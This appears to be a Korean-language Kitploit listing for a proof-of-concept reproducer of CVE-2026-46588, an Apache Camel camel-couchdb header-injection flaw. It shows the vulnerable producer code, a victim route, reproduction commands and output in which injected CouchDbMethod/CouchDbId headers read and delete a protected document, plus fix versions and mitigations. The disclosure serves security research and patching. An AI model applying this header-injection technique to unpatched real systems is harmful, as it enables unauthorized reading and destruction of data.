Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-46588 — Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-46588
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHuboscerd/cve-2026-46588

CVE-2026-46588

Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-couchdb CouchDb* 헤더 인젝션 재현기 (CVE-2026-46588)

이 프로젝트는 Apache Camel의 camel-couchdb 구성 요소에서 발견된 메시지 헤더 인젝션을 시연하며, CVE-2026-46588로 추적됩니다. 이 구성 요소는 CouchDbDatabase, CouchDbSeq, CouchDbId(문서 ID), CouchDbRev(문서 개정), CouchDbMethod(작업 메서드) 등 여러 Exchange 헤더를 읽어 동작을 제어합니다. 이러한 헤더 상수(CouchDbConstants에 정의됨)의 문자열 값은 다른 모든 구성 요소가 사용하는 표준 Camel 접두사 대신 CouchDb 접두사를 사용합니다. Camel의 인바운드 HttpHeaderFilterStrategy는 Camel/camel로 시작하는 헤더 이름만 차단하므로, 이 이름들은 인바운드 필터를 통과합니다. 라우트가 couchdb 프로듀서 앞에 HTTP 진입점(예: platform-http)을 노출하면, 신뢰할 수 없는 HTTP 클라이언트가 이러한 헤더를 직접 설정하여 라우트 작성자가 의도한 작업을 재정의할 수 있습니다.

이 PoC는 영향을 작업 혼란으로 시연합니다. CouchDbMethod(및 CouchDbId)를 주입하여 쓰기 전용 문서 수집 엔드포인트가 임의 문서의 읽기 및 삭제로 전환됩니다.

  1. CouchDbMethod=GET + CouchDbId=<secret> → 정보 노출(엔드포인트가 노출하지 않는 문서를 읽고 그 _rev를 유출)
  2. CouchDbMethod=DELETE(유출된 _rev 사용) → 파괴(해당 문서 삭제)

보안 권고: https://camel.apache.org/security/CVE-2026-46588.html

취약점 요약

CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 및 CVE-2026-47323과 동일한 헤더 인젝션 계열입니다. 수정 사항은 관련 권고 CVE-2026-46587(camel-couchbase)과 PR을 공유합니다.

기술 세부 사항

root@kitploit:~
// CouchDbConstants (영향 받는 4.18.2) — 헤더 이름이 Camel이 아닌 CouchDb 접두사를 사용합니다:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";

// CouchDbProducer.process (영향 받는 4.18.2) — 헤더에서 작업을 선택합니다:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
    saveJsonElement(json);                                             // 기본값: 본문 저장
} else if (operation.equalsIgnoreCase("DELETE")) {
    deleteJsonElement(json);                                          // 본문의 _id/_rev로 삭제
} else if (operation.equalsIgnoreCase("GET")) {
    String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
    exchange.getIn().setBody(getElement(docId));                     // 임의 문서 읽기
}

수정 사항(4.14.8 / 4.18.3 / 4.21.0)은 헤더 값의 이름을 Camel 규칙으로 변경합니다 — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq. 이렇게 하면 다른 모든 Camel 제어 헤더와 마찬가지로 인바운드 HttpHeaderFilterStrategy에 의해 차단됩니다. Java 상수 필드 이름은 변경되지 않습니다.

피해자 라우트

root@kitploit:~
from("platform-http:/ingest")
    .removeHeaders("Camel*")                                          // 문서화된 강화 조치 — 아래 참조
    .convertBodyTo(String.class)
    .to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");

라우트 작성자의 의도는 쓰기 전용 수집 엔드포인트입니다. 클라이언트는 문서를 POST하여 저장하기만 하면 됩니다. 문서화된 강화 조치로 라우트는 에지에서 Camel 제어 헤더 네임스페이스를 제거합니다. 그러나 도움이 되지 않습니다: 작업 헤더의 이름은 CouchDbMethod이지 CamelCouchDbMethod가 아니므로, removeHeaders("Camel*")도 내장 HTTP 헤더 필터도 제거하지 않습니다. 프로듀서는 이 헤더를 기준으로 작업을 전환합니다.

저장소 구조

피해자는 Camel 수집 라우트와 해당 CouchDB 데이터베이스입니다. 공격자는 요청 헤더만 설정하는 인증되지 않은 HTTP 클라이언트입니다. 작은 REST 하네스가 취약한 라우트와 독립적으로 비밀 문서를 시드하고 읽어 검증합니다.

root@kitploit:~
CVE-2026-46588/
├── pom.xml                 # camel-platform-http + camel-couchdb 4.18.2 (gson 2.13.2로 고정, 참고 참조)
├── Dockerfile
├── docker-compose.yml      # couchdb 3.3 + 애플리케이션
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchDbSettings.java      # 호스트 / DB / 자격 증명 / 비밀 문서 ID + 마커
    │   ├── CouchDbHarness.java       # REST 하네스: CouchDB 대기, 비밀 문서 시드 + 읽기
    │   ├── VictimRoute.java          # platform-http:/ingest -> couchdb 프로듀서 (쓰기 전용 의도)
    │   └── ExploitController.java    # 공격자: 주입된 CouchDbMethod / CouchDbId 헤더로 POST /ingest
    └── resources/
        └── application.properties

참고: pom에서 gson.version=2.13.2(Camel이 제공하는 버전)로 고정했습니다. 그렇지 않으면 Spring Boot 3.2.0이 더 오래된 gson 2.10.1을 고정하여 com.google.gson.internal.GsonTypes가 없고 Cloudant SDK가 런타임에 NoClassDefFoundError를 발생시킵니다.

전제 조건

  • Docker 및 Docker Compose (CouchDB + 애플리케이션 실행)
  • Java 17+ 및 Maven 3.8+ (jar 빌드)

재현 단계

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
# 애플리케이션 로그에서 "Started Application" 줄을 기다린 후:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

예상 출력

root@kitploit:~
secret document in CouchDB (read straight from the database):
  {"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}

=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
  {"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
  { "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
  disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
  secret document now: <not found>
  destruction: true

>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.

공격 벡터

HTTP 소비자에서 접근 가능한 couchdb 프로듀서가 있는 모든 라우트. 주입 가능한 헤더: CouchDbMethod(저장 → 가져오기/삭제 전환), CouchDbId(가져오기 대상 문서), 그리고 본문의 _id/_rev(삭제용). 소비자 측에서는 CouchDbDatabase 및 CouchDbSeq를 추가합니다.

권장 수정 사항

4.14.8 / 4.18.3 / 4.21.0으로 업그레이드하세요(권고 PR #23228). 수정 후 제어 헤더는 Camel 접두사(CamelCouchDbMethod, CamelCouchDbId, …)를 가지며, 다른 모든 제어 헤더처럼 HTTP 경계에서 필터링됩니다.

완화 조치

업그레이드할 때까지, 프로듀서에 도달하기 전에 영향을 받는 헤더를 신뢰할 수 없는 인바운드 메시지에서 제거하십시오. 예: .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq"), .removeHeader("CouchDbMethod")를 couchdb 엔드포인트 앞에 추가하거나, 이러한 이름을 차단하는 사용자 정의 HeaderFilterStrategy를 적용하십시오.

면책 조항

이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 용도로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
속성값
구성 요소camel-couchdb
영향 받는 클래스CouchDbConstants.HEADER_METHOD("CouchDbMethod"), HEADER_DOC_ID("CouchDbId") 등을 읽는 org.apache.camel.component.couchdb.CouchDbProducer
CWECWE-20: 부적절한 입력 검증
영향HTTP 클라이언트가 CouchDb* 헤더를 설정 → 작업/문서 재정의 → 정보 노출, 삭제, 변조
전제 조건라우트가 HTTP 소비자(예: platform-http) 뒤에 couchdb 프로듀서를 노출함; 소비자가 인증되지 않음
영향 받는 버전4.0.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전
수정된 버전4.14.8, 4.18.3, 4.21.0
수정 사항PR apache/camel#23228(main), #23230(4.18.x) / #23231(4.14.x)를 통해 백포트
제보자Yu Bao (PayPal)